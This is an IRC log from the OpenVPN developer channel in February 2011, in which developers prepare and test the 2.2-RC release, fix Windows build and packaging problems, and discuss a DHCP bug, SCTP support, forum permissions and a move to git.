[debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 19:04 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 19:13 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds] 19:13 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 19:14 -!- andj_afk is now known as andj --- Log closed Sat Feb 26 21:15:39 2011 --- Log opened Sat Feb 26 21:48:21 2011 21:48 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 21:48 -!- Irssi: #openvpn-devel: Total of 21 nicks [7 ops, 0 halfops, 1 voices, 13 normal] 21:48 -!- mode/#openvpn-devel [+v ecrist] by ChanServ --- Log closed Sat Feb 26 21:48:37 2011 --- Log opened Sat Feb 26 21:48:46 2011 21:48 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 21:48 -!- Irssi: #openvpn-devel: Total of 21 nicks [7 ops, 0 halfops, 1 voices, 13 normal] 21:48 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 21:49 -!- Irssi: Join to #openvpn-devel was synced in 29 secs --- Day changed Sun Feb 27 2011 00:12 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 00:14 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 00:14 -!- mode/#openvpn-devel [+o d457k] by ChanServ 00:23 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:39 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 00:39 -!- mode/#openvpn-devel [+v krzie] by ChanServ 00:40 -!- Netsplit *.net <-> *.split quits: +krzee 01:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:29 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:17 <@cron2> p/sb end 03:17 <@cron2> gah 03:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:09 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 04:12 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 04:49 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:49 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 07:59 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 08:51 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:51 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:52 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving.] 09:47 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 09:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:54 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 12:02 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:07 <@dazo_h> mattock1: hey! are there some more patches I should apply? 13:16 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has quit [Read error: Operation timed out] 13:18 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has joined #openvpn-devel 13:19 -!- dazo_h [~dazo@2001:470:9d83:350:213:e8ff:feb8:527f] has quit [Changing host] 13:19 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 13:19 -!- mode/#openvpn-devel [+o dazo_h] by ChanServ 13:49 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 15:13 -!- s7r [~s7r@unaffiliated/s7r] has quit [Read error: Connection reset by peer] 15:19 -!- andj is now known as andj_afk 15:22 <@mattock1> dazo_h: nope, the last one is the "Changes to buildsystem patchset" patch 15:23 <@mattock1> the rest can wait until 2.2 final, I think 15:23 <@dazo_h> goodie! I saw you had the temp fix for snprintf() -> _snprintf() in openvpnserv.exe, I believe 15:23 <@dazo_h> what about that one? 15:28 -!- mattock1 [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 15:39 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:06 -!- d457k [~heiko@vpn.astaro.de] has quit [Ping timeout: 240 seconds] 16:06 -!- d303k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 16:06 -!- mode/#openvpn-devel [+o d303k] by ChanServ 16:18 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:27 -!- dazo_h [~dazo@openvpn/community/developer/dazo] has quit [Quit: Leaving] 17:39 <@vpnHelper> RSS Update - tickets: #93: "up-restart" incomplete environment variables <https://community.openvpn.net/openvpn/ticket/93> 21:35 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 21:36 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel --- Day changed Mon Feb 28 2011 00:51 -!- andj_afk is now known as andj 01:04 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 01:07 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 01:09 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:31 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:34 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:43 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:50 <@mattock> dazo_afk: there? 01:57 <@mattock> I made the Trac source code browser track the "allmerged" branch... it was in the middle of a merge conflict so I scrapped it's old git repo 02:33 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 02:33 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 02:33 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 02:33 -!- mode/#openvpn-devel [+v janjust] by ChanServ 02:43 <@vpnHelper> RSS Update - tickets: #94: NTLM proxy authentication does not work well <https://community.openvpn.net/openvpn/ticket/94> 03:10 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving.] 03:11 -!- dazo_afk is now known as dazo 03:11 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:24 <+janjust> yo yo dazo : do you think you have enough bugs to play with now ;-) 03:25 <@dazo> janjust: yeah, I think so ... esp. with the time I have available :) 03:25 <+janjust> hehe good, I'm glad I'm able to keep you off the streets a little while longer :) 03:25 <@dazo> I hope james will be interested in taking a big share of them 03:25 <@dazo> lol 03:25 <+janjust> there's one more thing which I did not register as a bug yet 03:25 <+janjust> a thread on the forums is about windows 7, tap-win32 adapter and frequent DHCP renewals 03:26 <+janjust> it seems a DHCP renewal on e.g. the wireless adapter sometimes kills the IP assigned to the tap-win32 adapter 03:26 <@dazo> uhh ... nasty 03:26 <@dazo> why does that happen? 03:26 <+janjust> dunno ; I can sometimes reproduce it in windows 7, but other users see it more frequently 03:27 <@dazo> hmm 03:27 <+janjust> when doing an 'ipconfig /renew' the tap-win32 adapter receives a 'DHCP NAK' message 03:27 <+janjust> this NAK causes the address to be dropped 03:27 <@dazo> you mean /renew or /renew_all ? 03:27 <+janjust> just /renew (but that renews all assigned addresses) 03:28 <@dazo> ahh, okay 03:28 <+janjust> I've read postings which are totally unrelated to openvpn which also report similar issues 03:28 <@dazo> well, if /renew hits all interfaces ... then I understand why it can happen ... and the NAK probably comes because of the DHCP server emulation in the OpenVPN client 03:29 <@dazo> mm 03:29 <+janjust> yep ; so perhaps we need to look at the DHCP server emulation a bit closer 03:29 <@dazo> sounds so 03:30 <@dazo> unfortunately, I know I can't do much there ... basically, because I'm not a Windows developer .... and my interests doesn't really score too high on that platform 03:30 <@dazo> (excepts when it gets too annoying blocking other platforms as well ... like the build system) 03:31 <+janjust> hehe same here ; I'm not too familiar with the internals of windows 03:31 <+janjust> BTW, I did find an SCTP implementation for windows xp/vista/7 03:31 <@dazo> cool! 03:31 <+janjust> adding SCTP support should be fairly easy, if I read the 'socat' sources 03:31 <+janjust> dead-easy, as a matter of fact 03:31 <+janjust> http://www.bluestop.org/SctpDrv/ 03:31 <@vpnHelper> Title: SctpDrv: an SCTP driver and library for Microsoft Windows (at www.bluestop.org) 03:32 <@dazo> Yeah, I don't think SCTP itself is difficult ... but socket.c in OpenVPN ... that's going to be the challenge 03:32 <+janjust> for this release no sources are available, but previous releases have sources available as well 03:32 <@dazo> please feel free to share that info to the sctp thread, this is useful info 03:33 * dazo wonders how much this driver's API diverts from FreeBSD and/or Linux 03:33 <+janjust> from what I've read there's a cygwin api included that works pretty much like the bsd/linux one 03:33 <@dazo> neat 03:34 * dazo reads info now 03:36 <@dazo> BSD type license ... good ... that means we can ship this driver as a part of OpenVPN 03:36 <+janjust> ah I did not see that part yet ... good 03:37 <+janjust> of course, "installing a driver " == "installing trouble" 03:37 <@dazo> yeah ... but that's something the windows guys needs to tackle :-P 03:38 <+janjust> oh doh: here is the SVN repo: https://svn.bluestop.org/svn/sctpDrv/ 03:38 <@vpnHelper> Title: svn - Revision 109: /sctpDrv (at svn.bluestop.org) 03:38 <@dazo> cyberroadie: ^^^ I think you were the one talking about SCTP support on the mailing list, right? 03:39 <@dazo> heh ... yeah, I dug into that pretty quickly :) 03:39 <@dazo> seems to be nice coding at first glance :) 03:39 * janjust has to go and eat cake now 03:39 <@dazo> enjoy! 03:40 <+janjust> thx 04:16 <@dazo> mattock: hey! ... just one last question before I'm about to tag the tree (I might pull in that plug-in patch) ... what about the snprintf() -> _snprintf() patch to openvpnserv.exe 04:16 <@dazo> is that patch needed? 04:18 <@mattock> dazo: there's no good patch for the snprintf issue 04:19 <@dazo> I know ... but will openvpnserv.exe build without your temporary patch? 04:19 <@mattock> no 04:19 <@dazo> then I think we should apply the temporary patch and fix it before the final release 04:19 <@mattock> whatever to get the release out :) 04:20 <@dazo> yeah, if people want to build ... and they see we have a binary, but the git tree doesn't build ... that smells dirty 04:20 <@mattock> true... I think the only issue keeping back a good fix was code duplication 04:20 <@mattock> we wanted to avoid that 04:21 <@mattock> can't remember the exact details 04:21 <@dazo> yeah, we need to revisit that ... I'll hightlight that in the commit log 04:21 <@mattock> here: http://thread.gmane.org/gmane.network.openvpn.devel/4325/ 04:21 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 04:23 <@mattock> Mathias Andrees comments on this hack: "NAK. Do not mess with the namespaces." :D 04:23 -!- showtits [whatever@pool-173-66-87-101.washdc.fios.verizon.net] has quit [Quit: One day I'm going to find that peer guy and reset his connection.] 04:27 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 04:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:40 <@dazo> heh 04:41 <@dazo> yeah, I kind of agree with him there :) But we need to get this RC out the door now 04:41 * dazo is preparing dist files and tagging git tree now 04:51 <@dazo> mattock: 2.2-RC is now officially tagged! 04:51 <@mattock> dazo: great! 04:52 <@mattock> how about xz/zip/tar.gz? 04:52 <@mattock> oh, sorry, you answered that already :) 04:52 <@dazo> :) 04:53 <@dazo> mattock: can you please unpack the sourceball on Windows (or check out the v2.2-RC tag) ... and do a final Windows build as well? 04:54 <@mattock> that's probably a good idea... I'll do that 07:06 <+ecrist> good morning 07:06 <+janjust> morning ecrist 07:08 <+janjust> ecrist, did you set up the openvpn forums site? 07:08 <+ecrist> mattock and raidzx helped 07:08 <+ecrist> but yet 07:08 <+ecrist> yes* 07:08 <+janjust> ah OK; the problem is, I cannot answer to private messages 07:08 <+janjust> I don't see the button 'post reply' 07:08 * ecrist looks 07:09 <+janjust> see https://forums.openvpn.net/topic7699.html for a screenshot of my firefox (on either CentOS 5 or Fedora 14) 07:09 <@vpnHelper> Title: OpenVPN Support Forum how do I respond to a private message using FF 3.6? : Forum & Website Support (at forums.openvpn.net) 07:09 <+ecrist> it's right above the message window 07:09 <+ecrist> oh, odd 07:09 <+janjust> that's what everybody keeps telling me , but I don't see it... 07:09 * ecrist fires up FF 07:13 <+ecrist> janjust, I think it's a permissions issue 07:13 <+ecrist> when I su to your user on the forum, the button disappears for me, as well 07:14 <+janjust> ah, might be related to the fact that I also was not allowed to post stuff, until someone made me moderator 07:14 <+ecrist> that doesn't make sense 07:15 <+ecrist> users are moderated for their first two posts 07:15 <+ecrist> after that, they're allowed to post 07:15 <+janjust> well, my wife frequently tells me I don't make sense, so that makes sense ;-) 07:15 <@mattock> dazo: actually, there's still one issue with being able to build 2.2-rc from the tarball 07:16 <+janjust> well I'm glad you also don't see the button when you're logged in as me, I was afraid it had something to do with my FF settings 07:16 <@mattock> which is lack of config.h 07:16 <@dazo> mattock: what's missing? 07:16 <@mattock> the issue essobi found a few days ago (and I had already forgotten) 07:16 <@dazo> okay ... and config-win32.h is not the correct one? 07:16 <@mattock> it is, but one file (openvpnserv.c?) requires config.h 07:17 <@dazo> so the build tool should basically create a config.h, which states: #include <config-win32.h> ? 07:17 <@mattock> actually James wanted to separate the Python-based build from the autotools build, except for version.m4 07:18 <@mattock> I'm not sure if config.h as created by autotools build is really needed 07:18 <@dazo> well, config.h is pretty much used everywhere ... I'd probably suggest to have the python build tools imitate autotools, generating such as config.h on the fly, instead of having config-win32.h ... but that's just my opinion 07:18 <+ecrist> janjust: refresh, do you have the button now? 07:18 <@mattock> currently the ENABLE_* stuff is in win/setting.in, and put to temporary file (configure.h), which is used by options.c 07:18 <@dazo> config.h is created by autotools 07:19 <@mattock> I agree that config.h should be generated dynamically 07:19 <+janjust> ecrist: no :-( 07:19 <@dazo> config.h is really needed in autotools ... as all the stuff you enable/disable or autodetect during ./configure runs are saved in config.h 07:20 <@mattock> I'd guess that nmake/visual studio/whatever only uses the ENABLE* stuff, the rest of config.h stuff being specific to autotools builds 07:21 <@mattock> anyways, we need to temporary .h files: configure.h (for options.c) and config.h (for service-win32/openvpnserv.c) 07:21 <@dazo> config.h is basically just a bunch of #define stuff ... so it gives the possibility for the HAVE_ and ENABLE_ #ifdef's yes 07:21 <@dazo> that's correct 07:21 <@mattock> the latter containing ENABLE_* stuff, and the former two variables (CONFIGURE_CALL, CONFIGURE_DEFINES) 07:21 <+ecrist> janjust: how about now? 07:21 <@dazo> mattock: configure.h ... is a "human readable" summary of config.h, basically 07:21 <@mattock> yep 07:22 <@mattock> makes sense 07:22 <+janjust> ecrist: just logged out and back in again, still no button 07:23 <@mattock> regardless, the current tarballs won't build without creating config.h manually 07:23 <@dazo> mattock: I suggest we in the release notes for 2.2-RC states that you need to copy config-win32.h to config.h before starting building with the python tools 07:23 <@mattock> yes, that's best 07:23 <@dazo> this is not a complete show-stopper, how I see it 07:24 <@mattock> I will need to ask James what's the best way to handle the stuff in (autotools) config.h 07:24 <@mattock> meaning, what exactly VS uses, and what it does not 07:24 <@dazo> I'd like to join in on that discussion ... I don't want to cripple the autotools to make the python build tools work 07:25 <@mattock> I don't see any harm being done to autotools 07:25 <@dazo> if james wants to go away from config.h ... he is doing that somewhat 07:25 <@mattock> I think his idea is that everything (except version.m4 stuff) is in win/settings.in 07:25 <@dazo> I think that VS doesn't need config.h explicitly ... the confusion is more that the purpose of config-win32.h is more unclear 07:26 <@mattock> but James idea is that this only affects Python-based builds 07:26 <@dazo> yeah, that's fine .... as long as we can include a config.h, which is generated by win/settings.in 07:26 <@mattock> so, there's only duplicate configuration files 07:26 <@dazo> and then we can scratch config-win32.h completely 07:26 <@mattock> yes, both configure.h and config.h will be generated dynamically based on contents in win/settings.in 07:27 <+ecrist> janjust: I'm working on it, not sure what the problem is, but phpBB thinks you don't have permission for sending PMs 07:27 <@dazo> then yes, merging config-win32.h into win/settings.in, that makes sense ... which py-tools generate as config.h/configure.h 07:27 <+ecrist> I'll ping you when I think it's fixed for real 07:27 <+janjust> ecrist: is OK, I was just curious what was wrong. I'll wait for your ping 07:30 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:31 <@mattock> dazo: yes, the "relevant to Visual Studio" parts of config-win32.h 07:31 <@mattock> and the original config-win32.h will still be used for autotools-based build 07:31 <@mattock> but for now documenting this in release notes should be good enough, as you said 07:31 <+ecrist> ping janjust 07:31 <+ecrist> got it 07:32 <+ecrist> for some reason, you were still in the 'newly registered users' group, which denies you a lot of permissions explicitly 07:32 <+ecrist> it's been fixed now 07:32 <@dazo> well, config-win32.h is not used or needed by autotools at all ... it's just to be able to build openvpn without autotools on Windows, that's the trick 07:32 <+janjust> yep I see it 07:32 <+janjust> thx ecrist 07:33 <+ecrist> no problem. 07:33 <+ecrist> new users are restricted from sending PMs to combat spam. 07:33 * dazo see that ecrist trusts janjust a lot .... 07:33 <@dazo> :-P 07:33 <+janjust> hehe dazo 07:33 <+janjust> I also see that I am now a global moderator 07:34 <+janjust> hehe and it depends on how you define "new" : Joined: 20 Aug 2010 15:57 07:34 <+ecrist> right 07:34 <+janjust> seems I didn't meet the "rot 6 months before you can post" rule ;-) 07:34 <+ecrist> you just didn't get automatically removed from the group for some reason. 07:35 <+janjust> aah ok, got it 07:35 <+janjust> thx for fixing that 07:35 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:35 <+ecrist> np, if you don't want global mod, I can pull that. I set it to try and fix this. 07:35 <+ecrist> if you want it, you can keep it 07:36 <+janjust> either way is fine with me ... 07:37 <+janjust> the green goes nicely with the book cover :P 07:41 <@mattock> dazo: it's good to retry building from clean sources... the Python build actually lacks three files: 07:41 <@mattock> - config-win32.h: required by syshead.h, mine is a copy of config.h I got from James 07:41 <@mattock> - config.h 07:41 <@mattock> - configure.h 07:41 <@dazo> configure.h, that should be generated by python tools already, or? 07:42 <@dazo> config-win32.h reqs from syshead.h ... hmmm 07:42 * dazo wonders why? 07:43 <@dazo> $ git grep config-win32.h *.c *.h 07:43 <@dazo> syshead.h:#include "config-win32.h" 07:43 <@dazo> $ git grep config.h *.c *.h 07:43 <@dazo> syshead.h:#include "config.h" 07:43 <@dazo> okay ... so that makes things odd ... 07:44 <@dazo> syshead.h is the "key" to everything, which decides which config.h to use 07:44 <@mattock> also, creating empty config.h and config-win32.h failed 07:44 <@mattock> build errors 07:45 <@dazo> butbutbut .... config-win32.h should be there already ... or not? 07:46 <@dazo> hah! I think I know why ... 07:46 <@dazo> mattock: It seems we're not packing config-win32.h to the tar balls 07:46 <@mattock> yep, noticed the same 07:46 <@dazo> okay, I'll fix this one ... ready to ACK a patch quickly? 07:46 <@mattock> it's in Git 07:47 <@mattock> yep 07:47 <@dazo> yeah 07:47 <@mattock> send it to openvpn-devel and I'll ACK it 07:47 <@mattock> config.h can be a copy of config-win32.h 07:47 <@mattock> for now 07:48 * dazo tests his change 07:49 <@mattock> hmm, openvpnserv.c does have the same checks as syshead.h (for config.h/config-win32.h) 07:49 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 07:49 <@mattock> I'll have to see what file depends on config.h specifically 07:50 <@dazo> mattock: http://www.fpaste.org/eqbG/ 07:50 <@mattock> oh, service.h 07:52 <@mattock> ACK 07:52 <@mattock> assuming it works properly :D 07:52 <@dazo> goodie! I'll commit it and get it out 07:52 <@mattock> excellent! 07:52 <@dazo> mattock: I'll send you a tarball to test first 07:53 <@mattock> ok 07:54 <@dazo> mattock: openvpn-2.2-RC.tar.gz is overwritten with the test code 07:55 <@dazo> test *version 07:55 <@mattock> ok 08:02 <@mattock> I found a novel way to cripple Windows... try using "curl <file-to-download>" in MinGW shell, notice that it would have needed "curl <file-to-download> > target_filename", try to close the console 08:03 <@mattock> and voila... all mingw windows are 100% unresponsive 08:03 <@dazo> ouch! 08:03 <@mattock> ... let's see what is "kill -9" in Windows :) 08:05 <@mattock> http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/taskkill.mspx?mfr=true 08:05 <@vpnHelper> Title: Microsoft Windows XP - Taskkill (at www.microsoft.com) 08:14 <@mattock> dazo: so far the build has worked - I created a fake config.h to see what happens 08:14 <@mattock> empty file 08:14 <@dazo> goodie! 08:14 <@dazo> I'll commit stuff, retag and repush git and new source balls ... with proper change log 08:15 <@mattock> one more thing to add: 08:15 <@mattock> service-win32/msvc.mak is not included either 08:15 <@mattock> which causes openvpnserv.c build to fail 08:15 <@mattock> otherwise the build at least completed 08:16 <@dazo> ahh ... I'll fix that too then 08:22 <@dazo> mattock: new tar file ready for you ... same place as before 08:22 <@mattock> molto bene! 08:37 <@dazo> mattock: let me know if there's anything else we need to tackle ... or else, I'll do the tagging again 08:37 <@mattock> I'll know in a sec, there was a network interruption so rdesktop halted 08:46 <@mattock> ok, openvpnserv.exe build succeeded 08:46 <@mattock> requires copying config-win32.h as config.h 08:46 <@mattock> a dummy config.h won't cut it 08:46 <@mattock> service.h/c bails out 08:47 <@mattock> I'll try generating the installer now 09:01 <@mattock> there's a strange issue with openvpn.nsi not finding tap0901.cat (driver signature), debugging 09:02 <@mattock> argh, wrong directory :D 09:02 <@dazo> you made me a tad nervous now :) 09:04 <@mattock> it's here, I'll do the smoketests now: http://build.openvpn.net/downloads/releases/openvpn-2.2-RC-install.exe 09:06 <@mattock> dazo: time for meeting this week? 09:06 <@dazo> mattock: goodie! I'll push stuff out then ... there's a ChangeLog change which you might not have caught, so if you don't mind doing the last spin when I'm done ... that'd be great 09:06 * dazo just want's to be sure everything is in sync 09:07 <@mattock> I think the tar.gz is as functional as it gets... any issues should be related to packaging 09:07 <@mattock> what kind of Changelog change? 09:08 <@dazo> Just adding the commit I just pushed out 09:08 <@mattock> oh yes 09:08 <@mattock> you mean regenerating the installer? 09:09 <@dazo> yeah, I believe we pack the ChangeLog there as well 09:09 <@mattock> hmm, lemme check 09:10 * dazo runs 'make distcheck' and final dist-* stuff ... uploading files in a few minutes 09:12 <@mattock> no, changelog is not included 09:12 <@mattock> interestingly 09:12 <@mattock> not even as a web link (in OpenVPN start menu) 09:13 <@mattock> only INSTALL-win32.txt 09:13 <@mattock> and license.txt 09:13 <@dazo> hmm ... odd 09:13 <@dazo> I thought I had seen ChangeLog.txt on some Windows boxes ... but I might remember wrong 09:14 <@dazo> mattock: new files uploaded ... same names as before 09:14 <@mattock> ok 09:14 <@mattock> I'll test the installer and ask James to sign everything 09:14 <@dazo> thx! 09:15 <@mattock> no prob! good thing you found time to tag beta2.2 09:16 <@dazo> yeah, it had to be now ... even though, my work plate is more than overfilled .... one more openvpn patch, and I'm hiding under a stone for a while :) 09:16 <@mattock> that gives me time to fix the remaining buildsystem issues cleanly 09:16 <@dazo> :) 09:17 * dazo got 2 kernel releases to test ... with deadlines approaching 09:19 <@mattock> sounds fun :) 09:19 <@mattock> one minor issue I noticed... the INSTALL-win32.txt file is displayed as one long line ("View readme") 09:19 <@mattock> in my earlier installers it was wrapped nicely 09:20 <@mattock> I think that "feature" is included in the earlier installers, too 09:21 <@dazo> okay, we need to apply unix2dos to that file probably then 09:21 <@dazo> or use wordpad to view it 09:23 <@mattock> I vote for Wordpad 09:23 <@mattock> smoketests passed on Win7 64bit 09:28 <@mattock> ...and on WinXP 32bit 09:31 <@mattock> dazo: INSTALL-win32.txt linefeed issue not a showstopper I hope? :P 09:31 <@dazo> mattock: not for the RC 09:31 <@mattock> good, I've got a big list of fixes for 2.2 anyways 09:32 <@dazo> yeah :) 09:48 <@mattock> mail sent to James 09:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:15 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:15 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:17 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 11:17 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 11:17 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 11:17 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:40 -!- andj is now known as andj_afk 11:41 -!- andj_afk is now known as andj 12:00 -!- andj is now known as andj_afk 12:00 -!- andj_afk is now known as andj 12:12 <@mattock> dazo: anything missing from 2.2-RC changelog: http://pastebin.com/Q6Q0bWX6 12:12 * dazo looks 12:12 <@dazo> yes 12:12 <@dazo> my last patch ;-) 12:13 <@dazo> mattock: http://pastebin.com/Yr865MS7 .... this one is correct 12:14 <@mattock> ok, that it is 12:15 <@mattock> jamesyonan: did you get my signature mail? 12:15 <@jamesyonan> yes, I did 12:15 <@jamesyonan> I can do it later today 12:15 <@mattock> excellent! 12:16 <@mattock> I'm editing the webpages right now 12:16 <@dazo> mattock: make a point in the release notes that most patches are related to build env. for Windows ... there are only 4 patches which affects the real openvpn code 12:16 <@mattock> yep 12:19 <@dazo> jamesyonan: what's the chances that say mattock (I have not mentioned this for him yet - he might object!) can get access to your build environment? to help you out getting ready to do the git move? 12:19 <@mattock> I object! :P 12:19 <@dazo> I've understood your build environment is one of the things which holds you back to SVN 12:19 <@dazo> and I believe mattock has gained a lot of windows build environment experience lately :) 12:20 <@mattock> dazo: nicely phrased :) 12:20 <@mattock> but true 12:20 <@dazo> :) 12:21 <@jamesyonan> well the main issue is that at OpenVPN tech, we're still fairly tightly bound to svn 12:22 <@dazo> mm ... I understand ... it's just that I'm afraid that as long as you don't rebase anything against the git tree ... you're diverting away from the community version 12:22 <@dazo> and that will in the longer perspective hurt OpenVPN AS 12:22 <@jamesyonan> I get it 12:22 <@mattock> jamesyonan: if there's anything I can do to help with the transition, let me know 12:22 <@dazo> Just trying to figure out to help you out ... as we know you' 12:23 <@dazo> you're swamped into a lot of work 12:26 <@jamesyonan> yeah, I'm just swamped right now -- but I'm hoping that we can migrate to git in the next few months 12:27 <@dazo> however we can help share some of that load ... let me us know ... 12:28 <@jamesyonan> it's sort of like when you're in the middle of running a marathon, you can't really think about getting new shoes 12:28 <@dazo> yeah, I know that feeling ... been there myself several times, even 12:29 <@dazo> it's just it sometimes feels like your in a never ending marathon ... which is not an ideal situation 12:29 <@dazo> s/your/you're/ 12:33 <@jamesyonan> I've said before that I'll make a concerted effort to migrate to git in Q2 2011 12:33 <@dazo> thx! let's try that then 12:42 <@mattock> I think it's best to leave 2.2-beta5 visible on the download page 12:42 <@mattock> at least initially 12:43 <@mattock> I still don't 100% trust 2.2-RC, as it's untested except for very basic smoketesting 12:43 <@mattock> and the build toolchain has been overhauled 12:44 <@mattock> webpages edited on the staging server, now it's just signature + publish 12:44 <@mattock> and a few announcements 12:44 <+krzee> dazo, can you take a peek at the help chan? 12:47 <@mattock> here's a preview of 2.2-RC release page: http://build.openvpn.net/2.2-RC.png 12:47 <@mattock> if it needs any changes, let me know 12:48 <@dazo> looks good to me 12:52 <@mattock> hmm, I think Debian/Ubuntu packages don't require any changes 12:52 <@mattock> compared to 2.2-beta5 12:52 <@dazo> well, --x509-username-field as opt-in, is a difference 12:52 <@dazo> and the compile warnings, esp. against openssl-1.0.0 12:53 <@mattock> they're binary packages only, so compilation changes are not relevant... but --x509-username-field is runtime feature, right? 12:54 <@mattock> also, I got to update the control files anyways... 12:54 <@dazo> yeah, which is now disabled at compile time 12:54 <@dazo> without enabling it at compile time, it won't be usable at run-time 13:08 < Essobi> Initial testing of the FIPS openvpn client side build is looking promising. 13:09 <@dazo> Essobi: you know we're just about to release 2.2-RC? git tree tagged already 13:09 <@dazo> if you could do some real testing against that, it would be great! 13:10 <@dazo> even though, that RC is very close to the python-win-build I gave you the other day 13:11 <@mattock> essobi: did you get my latest patch? 13:11 <@mattock> the one I linked to 13:11 < Essobi> mattock: no sir, I didn't see it. 13:11 < Essobi> mattock: what's the latest patch do? 13:12 <@mattock> auto-embed manifest files and allow clean use of prebuilt tap-drivers 13:12 <@mattock> (without requiring manually copying drivers around etc) 13:12 < Essobi> Aaah. 13:13 <@dazo> mattock: that's patches which is going into the final build? 13:13 < Essobi> I just made copies of the i386/64bit dirs after the first time I blew them out, and wrote a batch file to sign them. ;) 13:13 <@dazo> final release, I mean? 13:13 <@mattock> dazo: that's the idea 13:13 <@dazo> goodie! 13:13 <@mattock> that, and the config.h fix 13:13 <@mattock> and the openvpn_snprintf fix 13:13 < Essobi> well once RC gets all bundled up, I'll try doing the build again. 13:13 <@mattock> essobi: sounds good 13:14 < Essobi> I'll have to figure out how to add a command-line to enable fips in the python/unix builds too. shouldn't be to troublesome. 13:14 <@mattock> essobi: do you mean to share the FIPS-compliant version of OpenVPN with the world? 13:14 <@mattock> =us :) 13:15 < Essobi> mattock: yessir. building the module to follow the security requirements is the hard part. 13:15 < Essobi> the patch to hardcode it on, is about 6 lines in ssl.c. ;) 13:15 <@mattock> nice! 13:22 < Essobi> Also to note, I've got a shell script that does everything you need for the fips sec requirements, so long as you log the output, and store it away somewhere. 13:23 -!- andj is now known as andj_afk 13:28 -!- andj_afk is now known as andj 13:28 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 13:34 -!- dazo is now known as dazo_afk 13:53 -!- s7r [~s7r@unaffiliated/s7r] has quit [Ping timeout: 240 seconds] 14:23 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 